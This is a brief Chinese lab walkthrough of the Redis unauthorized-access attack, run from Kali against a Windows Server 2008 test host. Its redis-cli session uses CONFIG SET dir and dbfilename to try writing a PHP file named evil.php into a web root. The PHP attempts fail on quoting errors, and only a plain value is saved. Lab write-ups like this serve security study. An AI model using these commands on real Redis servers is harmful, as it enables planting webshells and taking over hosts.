环境:
在sever2008和kali中分别安装redis
安装步骤参考:
https://www.runoob.com/redis/redis-install.html
修改redis.windows.conf中bind 0.0.0.0
kali中测试是否连通:
telnet 192.168.13.198 6379
攻击利用:
root@kali:/redis-2.8.17/src# ./redis-cli -h 192.168.13.198
192.168.13.198:6379> CONFIG SET dir C:\JSP\WWW
OK
192.168.13.198:6379> CONFIG SET dbfilename evil.php
OK
192.168.13.198:6379> set x “<?php phpinfo();?>”
(error) ERR syntax error
192.168.13.198:6379> set x “<?php phpinfo();?>"
Invalid argument(s)
192.168.13.198:6379> save
OK
192.168.13.198:6379>
root@kali:/redis-2.8.17/src# ./redis-cli -h 192.168.13.198
192.168.13.198:6379> CONFIG SET dir C:\JSP\WWW
OK
192.168.13.198:6379> CONFIG SET dbfilename evil.php
OK
192.168.13.198:6379> set x “<?php phpinfo();?>”
(error) ERR syntax error
192.168.13.198:6379> set x "1234"
OK
192.168.13.198:6379> save
OK
192.168.13.198:6379>